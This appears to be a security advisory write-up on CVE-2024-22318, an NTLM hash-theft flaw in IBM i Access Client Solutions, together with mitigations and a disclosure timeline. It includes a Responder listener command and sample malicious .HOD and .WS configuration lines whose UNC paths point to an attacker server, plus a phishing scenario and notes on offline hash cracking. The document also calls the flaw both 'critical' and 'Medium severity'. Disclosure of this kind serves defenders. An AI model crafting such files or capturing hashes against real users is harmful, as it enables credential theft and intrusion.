IBM i Access Client Solutions v1.1.2 - 1.1.4, v1.1.4.3 - 1.1.9.4 - Remote Credential Theft

IBM i Access Client Solutions Vulnerability: Remote Credential Theft via NTLM Hijacking (CVE-2024-22318)

IBM i Access Client Solutions (ACS), a widely used client application for accessing IBM i systems, has been identified as vulnerable to a critical remote credential theft attack. This vulnerability, tracked as CVE-2024-22318, exploits the default behavior of Windows NT LAN Manager (NTLM) authentication when maliciously crafted configuration files are loaded. The issue affects all versions of ACS from v1.1.2 through v1.1.9.4, with no official remediation or patch provided as of the disclosure timeline.

Attack Vector: UNC Path Injection in Configuration Files

At the core of this vulnerability lies the ability for attackers to manipulate the client’s configuration files—specifically .HOD and .WS files—to include malicious Universal Naming Convention (UNC) paths. These paths point to a controlled remote server, enabling the Windows OS to automatically attempt NTLM authentication using the current user’s session credentials.

When a user opens a malicious .HOD or .WS file, Windows attempts to access the specified UNC path. If NTLM is enabled on the workstation (which is often the default in enterprise environments), the system will initiate an authentication handshake with the attacker’s server. This handshake includes the NTLM hash of the user’s credentials, which can be captured and later cracked offline.

Exploitation in Practice: Step-by-Step Guide

Attackers can leverage tools such as Responder.py (from Kali Linux) to intercept and capture NTLM hashes in real time. The following demonstrates how the exploit is executed:

Responder.py -I eth0 -A -vv

Explanation: This command starts Responder, a tool designed to impersonate various network services (e.g., SMB, HTTP, DNS). The -I eth0 flag specifies the network interface, -A enables automatic attack mode (responding to all authentication attempts), and -vv enables verbose output for detailed logging.

Once the attacker server is listening, the malicious configuration file is delivered to a victim. For example:

Malicious .HOD File Example

screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c
KeyRemapFile= \\ATTACKER-SERVER\RemoteCredTheftP0c

Explanation: The screenHistoryArchiveLocation and KeyRemapFile parameters are susceptible to UNC path injection. When ACS loads this file, it attempts to access the remote server at \\ATTACKER-SERVER\RemoteCredTheftP0c. Windows, assuming the path is valid, triggers an NTLM authentication request—leaking the user’s hash.

Legacy .WS File Exploitation

Older versions of ACS use .WS files for profile configuration. The DefaultKeyboard parameter is particularly vulnerable:

[Profile]
ID=WS
Version=9
[Telnet5250]
HostName=PWN
[Keyboard]
IBMDefaultKeyboard=N
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c

Explanation: This configuration causes the client to attempt to load a keyboard mapping file from the attacker-controlled UNC path. The same NTLM handshake occurs, allowing credential theft.

Why This is a Medium Severity Risk

While the vulnerability is categorized as Medium severity, its impact is significant due to the following factors:

• Remote Access: The attack requires no direct physical access—only a malicious file delivered via email, shared drive, or social engineering.
• Default NTLM Behavior: In many enterprise environments, NTLM is still enabled for backward compatibility, making the attack surface broad.
• High-Value Targets: IBM i systems often host critical business data, financial systems, and ERP applications—making credential theft highly valuable to attackers.
• No Vendor Fix: IBM has not released a patch or mitigation, leaving organizations exposed.

Real-World Impact and Use Cases

Consider a scenario where an attacker sends a malicious .HOD file to a finance department employee via phishing email. The file appears legitimate, but contains a UNC path pointing to a server under the attacker’s control. When the employee opens it, Windows automatically authenticates using their current session, allowing the attacker to capture the NTLM hash.

Once captured, the hash can be cracked using tools like hashcat or John the Ripper. If the password is weak or reused across systems, the attacker gains access to multiple systems, escalating the breach.

Defense Strategies and Mitigation (Despite No Patch)

Although IBM has not issued a fix, organizations can implement defensive measures:

• Disable NTLM Authentication: Configure Windows to use only Kerberos or NTLMv2, and disable NTLMv1. This reduces the attack surface.
• File Validation: Implement strict policies to prevent loading of untrusted .HOD/.WS files. Use digital signatures or centralized management tools to validate configuration files.
• Network Monitoring: Deploy tools like Responder.py in a defensive mode (e.g., monitoring for suspicious authentication attempts) to detect attacks in progress.
• Endpoint Protection: Use EDR (Endpoint Detection and Response) solutions to detect suspicious file access patterns or unexpected network connections to UNC paths.
• Security Awareness Training: Educate users about the risks of opening untrusted configuration files, especially from unknown sources.

Disclosure Timeline and Vendor Response

Timeline	Event
December 14, 2023	Vendor notified by researcher John Page (hyp3rlinx)
February 7, 2024	IBM acknowledged the issue but provided no fix
February 8, 2024	Public disclosure via hyp3rlinx advisory

Insight: The lack of a fix from IBM highlights a critical gap in vendor responsiveness for legacy systems. Organizations relying on IBM i ACS must now treat this vulnerability as a persistent threat, requiring proactive defense.

Conclusion: A Persistent Threat in Legacy Systems

CVE-2024-22318 exemplifies how outdated client software can become a vector for modern attacks. The exploitation of NTLM via UNC path injection is a classic example of a “low-tech, high-impact” vulnerability. Despite being well-documented and public, the absence of a fix means that organizations must rely on defensive controls rather than patching.

For cybersecurity professionals, this case underscores the importance of:

• Regularly auditing legacy software configurations
• Implementing strict file access controls
• Monitoring network authentication behavior
• Understanding the risks of default authentication protocols

As long as NTLM remains enabled in enterprise environments, this vulnerability remains active and exploitable.